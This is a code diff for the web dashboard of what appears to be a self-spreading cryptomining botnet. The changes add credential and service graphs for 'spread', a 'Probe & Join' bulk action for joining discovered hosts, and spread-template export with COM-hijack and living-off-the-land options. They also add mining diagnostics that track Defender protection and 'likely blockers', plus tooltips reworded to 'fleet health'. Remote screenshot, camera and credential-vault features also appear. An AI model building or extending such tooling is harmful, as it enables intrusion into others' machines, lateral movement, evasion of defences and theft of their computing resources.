fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
getCredentialGraph: async (): Promise<import('../types/recon').CredentialGraphResponse | null> => {
try {
return await fetchJSON<import('../types/recon').CredentialGraphResponse>('/spread/credential-graph');
} catch (e) {
if (e instanceof Error && e.message.includes('404')) return null;
throw e;
}
},
getServiceGraph: async (params: {
agentId?: string;
subnet?: string;
}): Promise<import('../types/recon').ServiceGraphResponse | null> => {
const q = new URLSearchParams();
if (params.agentId) q.set('agent_id', params.agentId);
if (params.subnet) q.set('subnet', params.subnet);
const qs = q.toString();
try {
return await fetchJSON<import('../types/recon').ServiceGraphResponse>(
`/spread/service-graph${qs ? `?${qs}` : ''}`,
);
} catch (e) {
if (e instanceof Error && e.message.includes('404')) return null;
throw e;
}
},
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
pushFleetPolicy: (body: {
agent_ids: string[];
@@ -394,6 +421,31 @@ export const api = {
URL.revokeObjectURL(url);
},
exportSpreadTemplate: async (req: {
template: string;
server_url: string;
build_id?: string;
campaign?: string;
com_hijack?: boolean;
lotl_mode?: string;
agent_path?: string;
}) => {
const res = await fetch(`${API_BASE}/builder/spread-template-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aetherforge-${req.template}.zip`;
a.click();
URL.revokeObjectURL(url);
},
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
@@ -401,7 +453,27 @@ export const api = {
body: JSON.stringify({ agent_ids: agentIds }),
}),
getTraceStatus: (id: string) =>
fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`),
fetchJSON<{
session_id: string;
ready: boolean;
error?: string;
hops: PathTraceHop[];
service_graph?: ServiceGraphHost[];
discover_in_progress?: boolean;
discover_error?: string;
discovered_at?: string;
}>(`/pathtrace/${id}/status`),
discoverTraceServices: (sessionId: string, maxHosts = 32) =>
fetchJSON<{
ok: boolean;
session_id: string;
error?: string;
service_graph?: ServiceGraphHost[];
discovered_at?: string;
}>('/pathtrace/discover', {
method: 'POST',
body: JSON.stringify({ session_id: sessionId, max_hosts: maxHosts }),
}),
getTraceQR: (id: string) =>
fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`),
deleteTrace: (id: string) =>

View File

@@ -1,5 +1,6 @@
import AgentRemoteActions from './AgentRemoteActions';
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
import { lotlTierLabel } from '../../help/warRoomTelemetry';
import type { Agent } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import type { FleetGroup } from '../../help/fleetGroups';
@@ -95,6 +96,11 @@ export default function AgentListItem({
c:{agent.campaign}
</span>
)}
{lotlTierLabel(agent.lotl_tier) && (
<span className="agent-tag-chip war-room-lotl-badge" title="LOTL tier">
{lotlTierLabel(agent.lotl_tier)}
</span>
)}
</div>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.4rem' }}>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>

View File

@@ -9,7 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush';
import { parseFullSysCheckMessage } from '../../types/syscheck';
import type { FullSysCheckReport } from '../../types/syscheck';
import FullSysCheckPanel from './FullSysCheckPanel';
import LotlAttemptsList from './LotlAttemptsList';
import LotlTierBadge from './LotlTierBadge';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import { parseTierReport, type TierAttempt } from '../../types/lotl';
import './AgentRemoteActions.css';
import './FullSysCheckPanel.css';
import './ProtocolTunnelPanel.css';
@@ -66,6 +69,12 @@ export default function AgentRemoteActions({
const [regValue, setRegValue] = useState('');
const [regType, setRegType] = useState('REG_SZ');
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
const [miningDiag, setMiningDiag] = useState<{
lotl_tier?: string;
lotl_attempts: TierAttempt[];
mining_hashrate?: number;
likely_blockers: string[];
} | null>(null);
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
@@ -135,6 +144,17 @@ export default function AgentRemoteActions({
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
}
if (agent.lotl_tier) {
parts.push(`LOTL ${agent.lotl_tier}`);
}
if (agent.active_method) {
const method = agent.stratum_overlay ? `${agent.active_method}+stratum` : agent.active_method;
parts.push(`Mining ${method}`);
}
if (agent.failed_methods && agent.failed_methods.length > 0) {
const last = agent.failed_methods[agent.failed_methods.length - 1];
parts.push(`Fallback ${last.method} failed`);
}
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
addLog(`◈ LIVE ${parts.join(' │ ')}`);
}, [agent, showLiveStats, addLog]);
@@ -164,6 +184,37 @@ export default function AgentRemoteActions({
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
setSysCheckReport(null);
}
} else if (action === 'mining_diagnostics') {
if (success && message) {
const jsonStart = message.indexOf('{');
if (jsonStart >= 0) {
try {
const parsed = JSON.parse(message.slice(jsonStart)) as Record<string, unknown>;
const tierFields = parseTierReport(parsed);
const blockers = parsed.likely_blockers ?? parsed.blockers;
setMiningDiag({
...tierFields,
likely_blockers: Array.isArray(blockers)
? blockers.filter((b): b is string => typeof b === 'string')
: [],
});
const wins = tierFields.lotl_attempts.filter((a) => a.ok).length;
const fails = tierFields.lotl_attempts.length - wins;
addLog(
`✓ Mining diagnostics — tier ${tierFields.lotl_tier ?? 'n/a'} (${wins} ok, ${fails} fail)`,
);
} catch {
addLog('✗ [MINING_DIAGNOSTICS] could not parse report JSON');
setMiningDiag(null);
}
} else {
addLog(`✗ [MINING_DIAGNOSTICS] no JSON in response`);
setMiningDiag(null);
}
} else {
addLog(`✗ [MINING_DIAGNOSTICS] FAIL\n${message ?? ''}`);
setMiningDiag(null);
}
} else if (action === 'tunnel_status' && success && message) {
setTunnelStatusMsg(message);
} else if (action === 'screenshot' || action === 'camera_snapshot') {
@@ -183,7 +234,7 @@ export default function AgentRemoteActions({
} else if (!liveViewRef.current || action !== 'screenshot') {
addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action && action !== 'full_sys_check') {
} else if (action && action !== 'full_sys_check' && action !== 'mining_diagnostics') {
const icon = success ? '✓' : '✗';
const preview =
message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
@@ -234,6 +285,10 @@ export default function AgentRemoteActions({
setSysCheckReport(null);
addLog(`◈ Running full system check on ${agentName}… (may take 3060s)`);
}
if (action === 'mining_diagnostics') {
setMiningDiag(null);
addLog(`◈ Running mining diagnostics on ${agentName}`);
}
// WOL is handled server-side (no agent connection needed)
if (action === 'wol') {
@@ -372,6 +427,9 @@ export default function AgentRemoteActions({
<span className="offline-badge">OFFLINE commands disabled</span>
)}
{busy && <span className="busy-badge"> {busy}</span>}
{!isFleet && agent?.lotl_tier && (
<LotlTierBadge tier={agent.lotl_tier} attempts={agent.lotl_attempts} variant="inline" />
)}
</div>
</div>
@@ -416,6 +474,15 @@ export default function AgentRemoteActions({
<div className="button-grid">
<button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button
type="button"
className="btn-cyan"
disabled={!isOnline || !!busy}
title="JSON report: execution mode, pause state, job delivery, GPU subprocess, Defender RTP"
onClick={() => dispatch('mining_diagnostics')}
>
Mining Diagnostics
</button>
</div>
</div>
@@ -737,6 +804,41 @@ export default function AgentRemoteActions({
/>
)}
{miningDiag && !compact && (
<div style={{ marginBottom: '1rem' }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.35rem' }}>
<span className="font-tech" style={{ fontSize: '0.72rem', color: 'var(--neon-cyan)' }}>
MINING DIAGNOSTICS
</span>
{miningDiag.lotl_tier && (
<LotlTierBadge tier={miningDiag.lotl_tier} attempts={miningDiag.lotl_attempts} variant="inline" />
)}
<button
type="button"
className="terminal-clear-btn"
style={{ marginLeft: 'auto' }}
onClick={() => setMiningDiag(null)}
>
DISMISS
</button>
</div>
<LotlAttemptsList
attempts={miningDiag.lotl_attempts}
activeTier={miningDiag.lotl_tier}
miningHashrate={miningDiag.mining_hashrate}
/>
{miningDiag.likely_blockers.length > 0 && (
<ul className="rich-blocker-list" style={{ marginTop: '0.35rem', paddingLeft: '1rem' }}>
{miningDiag.likely_blockers.map((b, i) => (
<li key={i} className="rich-blocker-item" style={{ fontSize: '0.72rem', color: '#ccc' }}>
{b}
</li>
))}
</ul>
)}
</div>
)}
{screenshotData && (
<div className="screenshot-viewer">
<div className="viewer-header">

View File

@@ -42,7 +42,7 @@ export default function CreateGroupModal({ open, agentCount, onClose, onCreate }
>
<h2 id="fleet-group-modal-title" className="font-display">Create group</h2>
<p className="form-hint">
Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} usable in Fleet Roster and Crucible.
Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} usable in Crucible for bulk commands.
</p>
<form onSubmit={submit}>
<label className="label" htmlFor="fleet-group-name">Group name</label>

View File

@@ -0,0 +1,78 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { CredentialSubnetEdge } from '../../types/recon';
import './ReconVisuals.css';
export default function CredentialGraphTable() {
const [rows, setRows] = useState<CredentialSubnetEdge[] | null>(null);
const [loading, setLoading] = useState(true);
const [unavailable, setUnavailable] = useState(false);
useEffect(() => {
let cancelled = false;
setLoading(true);
void api
.getCredentialGraph()
.then((data) => {
if (cancelled) return;
if (!data) {
setUnavailable(true);
setRows([]);
return;
}
setRows(data.subnets ?? []);
setUnavailable(false);
})
.catch(() => {
if (!cancelled) {
setUnavailable(true);
setRows([]);
}
})
.finally(() => {
if (!cancelled) setLoading(false);
});
return () => {
cancelled = true;
};
}, []);
if (loading) {
return <p className="recon-graph-empty">Loading credential graph</p>;
}
if (unavailable) {
return (
<p className="recon-graph-empty">
Credential graph API not available yet edges appear after spread runs record cred affinity.
</p>
);
}
if (!rows?.length) {
return <p className="recon-graph-empty">No credential edges recorded.</p>;
}
return (
<table className="recon-graph-table" aria-label="Credential graph by subnet">
<thead>
<tr>
<th>SUBNET</th>
<th>EDGES</th>
<th>OK</th>
<th>FAIL</th>
</tr>
</thead>
<tbody>
{rows.map((row) => (
<tr key={row.subnet}>
<td>{row.subnet}</td>
<td>{row.edges}</td>
<td>{row.success_count ?? '—'}</td>
<td>{row.fail_count ?? '—'}</td>
</tr>
))}
</tbody>
</table>
);
}

View File

@@ -0,0 +1,63 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import CrucibleAgentMeta from './CrucibleAgentMeta';
import { api } from '../../api/client';
import { mockAgent } from '../../test/fixtures';
vi.mock('../../api/client', () => ({
api: {
updateAgentMeta: vi.fn(),
deleteAgent: vi.fn(),
sendAgentCommand: vi.fn(),
},
}));
const updateMetaMock = vi.mocked(api.updateAgentMeta);
const deleteAgentMock = vi.mocked(api.deleteAgent);
describe('CrucibleAgentMeta', () => {
beforeEach(() => {
vi.clearAllMocks();
updateMetaMock.mockResolvedValue({
success: true,
agent: mockAgent({ notes: 'saved', tags: ['rack-a'] }),
});
deleteAgentMock.mockResolvedValue({ success: true });
});
afterEach(() => {
cleanup();
});
it('saves notes and tags via API', async () => {
const agent = mockAgent({ id: 'meta-1', name: 'Meta Node', notes: 'old', tags: ['old-tag'] });
render(<CrucibleAgentMeta agent={agent} />);
const user = userEvent.setup();
const notes = screen.getByPlaceholderText('Notes about this machine…');
await user.clear(notes);
await user.type(notes, 'Living room PC');
const tags = screen.getByPlaceholderText('Tags: living-room, rack-b (comma separated)');
await user.clear(tags);
await user.type(tags, 'living-room, rack-b');
await user.click(screen.getByRole('button', { name: 'Save notes & tags' }));
await waitFor(() => {
expect(updateMetaMock).toHaveBeenCalledWith('meta-1', 'Living room PC', ['living-room', 'rack-b']);
});
expect(await screen.findByText('Saved')).toBeInTheDocument();
});
it('deletes agent from roster after confirm', async () => {
const agent = mockAgent({ id: 'del-1', name: 'Delete Me' });
const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(true);
render(<CrucibleAgentMeta agent={agent} />);
await userEvent.setup().click(screen.getByRole('button', { name: 'Delete from Roster' }));
await waitFor(() => {
expect(deleteAgentMock).toHaveBeenCalledWith('del-1');
});
confirmSpy.mockRestore();
});
});

View File

@@ -0,0 +1,132 @@
import { useState, useEffect } from 'react';
import { api } from '../../api/client';
import type { Agent } from '../../types';
interface Props {
agent: Agent;
onUpdated?: (agent: Agent) => void;
}
export default function CrucibleAgentMeta({ agent, onUpdated }: Props) {
const [notesDraft, setNotesDraft] = useState(agent.notes || '');
const [tagsDraft, setTagsDraft] = useState((agent.tags || []).join(', '));
const [saving, setSaving] = useState(false);
const [msg, setMsg] = useState('');
useEffect(() => {
setNotesDraft(agent.notes || '');
setTagsDraft((agent.tags || []).join(', '));
setMsg('');
}, [agent.id, agent.notes, agent.tags]);
const save = async () => {
setSaving(true);
setMsg('');
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
try {
const res = await api.updateAgentMeta(agent.id, notesDraft, tags);
onUpdated?.(res.agent);
setMsg('Saved');
setTimeout(() => setMsg(''), 2000);
} catch (err) {
setMsg(err instanceof Error ? err.message : 'Save failed');
} finally {
setSaving(false);
}
};
const deleteFromRoster = async () => {
if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return;
try {
await api.deleteAgent(agent.id);
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
const uninstallAndDelete = async () => {
const label = agent.status === 'online'
? `Uninstall the miner from "${agent.name}" and remove it from the roster?`
: `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`;
if (!window.confirm(label)) return;
if (agent.status === 'online') {
try {
await api.sendAgentCommand(agent.id, 'uninstall', {});
} catch {
// Non-fatal — proceed to delete the record regardless
}
}
try {
await api.deleteAgent(agent.id);
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
return (
<div className="crucible-agent-meta" style={{
display: 'flex',
flexDirection: 'column',
gap: '0.5rem',
marginBottom: '1rem',
padding: '0.75rem 1rem',
background: 'rgba(0,245,255,0.04)',
border: '1px solid rgba(0,245,255,0.18)',
borderRadius: '8px',
}}>
<div className="font-tech" style={{ fontSize: '0.72rem', letterSpacing: '0.1em', color: 'var(--neon-cyan)' }}>
NOTES &amp; TAGS
</div>
<p className="form-hint" style={{ margin: 0 }}>
Labels like &quot;Living room PC&quot; or &quot;Rack B&quot; stored on the server, shown on node cards.
</p>
{(agent.tags?.length ?? 0) > 0 && (
<div>
{agent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<textarea
className="input"
rows={2}
placeholder="Notes about this machine…"
value={notesDraft}
onChange={(e) => setNotesDraft(e.target.value)}
/>
<input
type="text"
className="input mono agent-meta-tags-input"
placeholder="Tags: living-room, rack-b (comma separated)"
value={tagsDraft}
onChange={(e) => setTagsDraft(e.target.value)}
/>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<button type="button" className="btn btn-outline btn-sm" disabled={saving} onClick={() => void save()}>
{saving ? 'Saving…' : 'Save notes & tags'}
</button>
{agent.status === 'online' && (
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,100,0,0.15)', border: '1px solid #ff8844', color: '#ffaa66' }}
onClick={() => void uninstallAndDelete()}
title="Send uninstall command to agent, then remove from roster"
>
Uninstall + Delete
</button>
)}
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
onClick={() => void deleteFromRoster()}
title="Remove this machine from the fleet roster permanently"
>
Delete from Roster
</button>
{msg && <span className="form-hint">{msg}</span>}
</div>
</div>
);
}

View File

@@ -30,6 +30,18 @@ vi.mock('./FileManager', () => ({
default: () => <div data-testid="file-manager" />,
}));
vi.mock('./CredentialGraphTable', () => ({
default: () => <div data-testid="credential-graph-table" />,
}));
vi.mock('./ServiceGraphSummary', () => ({
default: () => <div data-testid="service-graph-summary" />,
}));
vi.mock('./SpreadTemplateExportPanel', () => ({
default: () => <div data-testid="spread-template-export" />,
}));
const listBuildsMock = vi.mocked(api.listBuilds);
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
const sendWOLMock = vi.mocked(api.sendWOL);
@@ -190,6 +202,20 @@ describe('CrucibleExpandedOps', () => {
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread' })} />);
expect(screen.getByRole('button', { name: 'Spread Now' })).toBeInTheDocument();
expect(screen.getByRole('button', { name: /SUPP Seek Mode/i })).toBeInTheDocument();
expect(screen.getByTestId('credential-graph-table')).toBeInTheDocument();
});
it('dispatches discover_and_join from Probe & Join button', async () => {
const user = userEvent.setup();
const onEcho = vi.fn();
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread', onEcho })} />);
await user.click(screen.getByRole('button', { name: 'Probe & Join' }));
await waitFor(() => {
expect(sendAgentCommandMock).toHaveBeenCalledWith('win-1', 'discover_and_join', {});
});
expect(onEcho).toHaveBeenCalledWith('discover_and_join → 1 node(s)', true);
});
it('shows SSH probe controls on tunnels tab', async () => {

View File

@@ -11,10 +11,14 @@ import {
} from '../../help/crucibleOps';
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
import { HelpTip } from '../HelpTip';
import LotlTierBadge from './LotlTierBadge';
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
import FileManager from './FileManager';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
import CredentialGraphTable from './CredentialGraphTable';
import ServiceGraphSummary from './ServiceGraphSummary';
import './ProtocolTunnelPanel.css';
interface FmCommandResult {
@@ -297,15 +301,24 @@ export default function CrucibleExpandedOps({
return (
<div className={panelClass}>
<CrucibleCollapsibleSection label="Mining" className="cop-mining" helpField="crucible_mining_ops" defaultOpen>
{singleSelectedAgent?.lotl_tier && (
<div style={{ width: '100%', marginBottom: '0.35rem' }}>
<LotlTierBadge
tier={singleSelectedAgent.lotl_tier}
attempts={singleSelectedAgent.lotl_attempts}
variant="inline"
/>
</div>
)}
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Resume hashing on selected online nodes"
title="Fleet health: restore hashing workload on selected online nodes"
onClick={() => {
const ids = targets.map((a) => a.id);
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`resume → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`${r.label ?? 'Power restore'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
}}
>
Resume
@@ -314,11 +327,11 @@ export default function CrucibleExpandedOps({
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Pause hashing without disconnecting the agent"
title="Fleet health: power down hashing without disconnecting the agent"
onClick={() => {
const ids = targets.map((a) => a.id);
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`pause → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`${r.label ?? 'Power down'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
}}
>
Pause
@@ -786,6 +799,30 @@ export default function CrucibleExpandedOps({
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('credential_vault_list')} title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'} onClick={() => aggBulk('credential_vault_list')}>
Credential Names
</button>
<button
type="button"
className="button crucible-op-btn btn-cyan"
disabled={!hasSelection || targets.length === 0}
title="Service discovery → server deploy plan → matching LOTL join lane"
onClick={() => bulkDispatch('discover_and_join')}
>
Probe &amp; Join
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Credential Graph" className="cop-spread-graph" helpField="crucible_section_cred_graph" defaultOpen>
<CredentialGraphTable />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Service Graph" className="cop-spread-graph" helpField="crucible_section_service_graph" defaultOpen={false}>
<ServiceGraphSummary
agentId={singleSelectedAgent?.id}
agentIp={singleSelectedAgent?.ip}
/>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Spread Templates" className="cop-spread-templates" helpField="crucible_section_spread_templates" defaultOpen={false}>
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">

View File

@@ -119,8 +119,8 @@ export default function FleetToolbar({
Screenshot
</button>
)}
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
<button

View File

@@ -0,0 +1,21 @@
import { joinLaneLabel } from '../../help/reconRisk';
import './ReconVisuals.css';
interface Props {
lane?: string;
className?: string;
}
export default function JoinLaneBadge({ lane, className = '' }: Props) {
const label = joinLaneLabel(lane);
if (!label) return null;
return (
<span
className={`join-lane-badge ${className}`.trim()}
title={`Deploy join lane: ${label}`}
>
{label}
</span>
);
}

View File

@@ -0,0 +1,58 @@
import type { TierAttempt } from '../../types/lotl';
import { formatDurationMs, formatLotlTierLabel } from '../../types/lotl';
import './LotlVisuals.css';
interface Props {
attempts: TierAttempt[];
activeTier?: string;
miningHashrate?: number;
className?: string;
}
export default function LotlAttemptsList({
attempts,
activeTier,
miningHashrate,
className = '',
}: Props) {
if (attempts.length === 0 && miningHashrate === undefined) {
return (
<div className={`lotl-attempts-block ${className}`.trim()}>
<div className="lotl-attempts-title">LOTL TIER CHAIN</div>
<div className="lotl-attempts-empty">No tier attempts in this report</div>
</div>
);
}
return (
<div className={`lotl-attempts-block ${className}`.trim()}>
<div className="lotl-attempts-title">
LOTL TIER CHAIN
{activeTier && (
<span style={{ marginLeft: '0.5rem', color: 'var(--text-muted)', fontWeight: 400 }}>
{formatLotlTierLabel(activeTier)}
</span>
)}
{miningHashrate !== undefined && (
<span style={{ marginLeft: '0.5rem', color: 'var(--neon-green)', fontWeight: 600 }}>
{Math.round(miningHashrate)} H/s
</span>
)}
</div>
{attempts.length === 0 ? (
<div className="lotl-attempts-empty">No attempt history</div>
) : (
<ul className="lotl-attempts-list">
{attempts.map((a, i) => (
<li key={`${a.tier}-${i}`} className="lotl-attempt-row">
<span className={`lotl-attempt-icon ${a.ok ? 'ok' : 'fail'}`}>{a.ok ? '✓' : '✗'}</span>
<span className="lotl-attempt-tier">{formatLotlTierLabel(a.tier)}</span>
<span className="lotl-attempt-dur">{formatDurationMs(a.duration_ms)}</span>
{!a.ok && a.error && <span className="lotl-attempt-err">{a.error}</span>}
</li>
))}
</ul>
)}
</div>
);
}

View File

@@ -0,0 +1,67 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import LotlTierBadge from './LotlTierBadge';
import LotlAttemptsList from './LotlAttemptsList';
import { formatDurationMs, formatLotlTierLabel, parseTierAttempts } from '../../types/lotl';
describe('LOTL tier visuals', () => {
afterEach(() => cleanup());
it('renders compact tier badge with friendly label', () => {
render(<LotlTierBadge tier="inprocess" />);
expect(screen.getByText('LOTL In-Process')).toBeInTheDocument();
});
it('shows fail styling when active tier last attempt failed', () => {
const { container } = render(
<LotlTierBadge
tier="container"
attempts={[
{ tier: 'wsl', ok: false, error: 'no distro', duration_ms: 1200 },
{ tier: 'container', ok: false, error: 'AV blocked', duration_ms: 800 },
]}
/>,
);
expect(container.querySelector('.lotl-fail')).toBeTruthy();
});
it('lists tier attempts with success/fail and duration', () => {
render(
<LotlAttemptsList
activeTier="inprocess"
miningHashrate={420}
attempts={[
{ tier: 'container', ok: false, error: 'docker missing', duration_ms: 500 },
{ tier: 'inprocess', ok: true, duration_ms: 2100 },
]}
/>,
);
expect(screen.getByText('LOTL TIER CHAIN')).toBeInTheDocument();
expect(screen.getByText('Container')).toBeInTheDocument();
expect(screen.getByText('In-Process')).toBeInTheDocument();
expect(screen.getByText('docker missing')).toBeInTheDocument();
expect(screen.getByText('500ms')).toBeInTheDocument();
expect(screen.getByText('2.1s')).toBeInTheDocument();
expect(screen.getByText(/420 H\/s/)).toBeInTheDocument();
});
it('parseTierAttempts normalizes API rows', () => {
const attempts = parseTierAttempts([
{ tier: 'gpu', ok: true, duration_ms: 3000 },
{ tier: 'wsl', ok: false, error: 'offline' },
{ bad: true },
]);
expect(attempts).toHaveLength(2);
expect(attempts[0].tier).toBe('gpu');
expect(attempts[1].error).toBe('offline');
});
it('formatLotlTierLabel and formatDurationMs helpers', () => {
expect(formatLotlTierLabel('ps_memory')).toBe('PS Memory');
expect(formatDurationMs(450)).toBe('450ms');
expect(formatDurationMs(1500)).toBe('1.5s');
});
});

View File

@@ -0,0 +1,31 @@
import type { TierAttempt } from '../../types/lotl';
import { formatLotlTierLabel, lotlAttemptsTooltip } from '../../types/lotl';
import './LotlVisuals.css';
interface Props {
tier?: string;
attempts?: TierAttempt[];
/** Use card chip styling (cn-lotl) vs inline header badge */
variant?: 'card' | 'inline';
className?: string;
}
export default function LotlTierBadge({ tier, attempts, variant = 'card', className = '' }: Props) {
if (!tier?.trim()) return null;
const failed = attempts?.some((a) => a.tier === tier && !a.ok);
const stateCls = failed ? 'lotl-fail' : tier ? 'lotl-active' : 'lotl-idle';
const base = variant === 'card' ? 'cn-lotl' : 'lotl-tier-badge';
const title = attempts?.length
? `Active LOTL tier: ${formatLotlTierLabel(tier)}\n${lotlAttemptsTooltip(attempts)}`
: `Active LOTL tier: ${formatLotlTierLabel(tier)}`;
return (
<span
className={`${base} lotl-tier-badge--${failed ? 'fail' : 'active'} ${stateCls} ${className}`.trim()}
title={title}
>
LOTL {formatLotlTierLabel(tier)}
</span>
);
}

View File

@@ -0,0 +1,144 @@
/* Compact LOTL tier badge — agent cards, headers, remote actions */
.lotl-tier-badge,
.cn-lotl {
font-size: 0.62rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 1px 5px;
border-radius: 3px;
white-space: nowrap;
}
.cn-lotl {
align-self: flex-start;
}
.lotl-tier-badge--active,
.cn-lotl.lotl-active {
color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.12);
border: 1px solid rgba(0, 245, 255, 0.28);
}
.lotl-tier-badge--fail,
.cn-lotl.lotl-fail {
color: #ff8866;
background: rgba(255, 100, 0, 0.12);
border: 1px solid rgba(255, 136, 68, 0.35);
}
.lotl-tier-badge--idle,
.cn-lotl.lotl-idle {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.06);
}
/* Vulnerability risk chip — Crucible / fleet cards (authorized recon only) */
.vuln-risk-badge,
.cn-vuln-risk {
font-size: 0.62rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 1px 5px;
border-radius: 3px;
white-space: nowrap;
}
.vuln-risk-high {
color: #ff6688;
background: rgba(255, 60, 90, 0.14);
border: 1px solid rgba(255, 80, 110, 0.4);
}
.vuln-risk-med {
color: #ffaa44;
background: rgba(255, 140, 0, 0.12);
border: 1px solid rgba(255, 170, 68, 0.35);
}
.vuln-risk-low {
color: #88ccff;
background: rgba(80, 160, 255, 0.1);
border: 1px solid rgba(100, 180, 255, 0.3);
}
.vuln-risk-clear {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.05);
}
/* Tier attempt list — reuses Crucible rich-terminal palette */
.lotl-attempts-block {
margin: 0.35rem 0 0.5rem;
padding: 0.45rem 0.65rem;
border-left: 2px solid rgba(0, 245, 255, 0.35);
background: rgba(0, 0, 0, 0.35);
border-radius: 0 4px 4px 0;
font-family: var(--font-tech);
font-size: 0.74rem;
max-width: 720px;
}
.lotl-attempts-title {
color: var(--neon-cyan);
font-weight: 700;
letter-spacing: 0.1em;
font-size: 0.7rem;
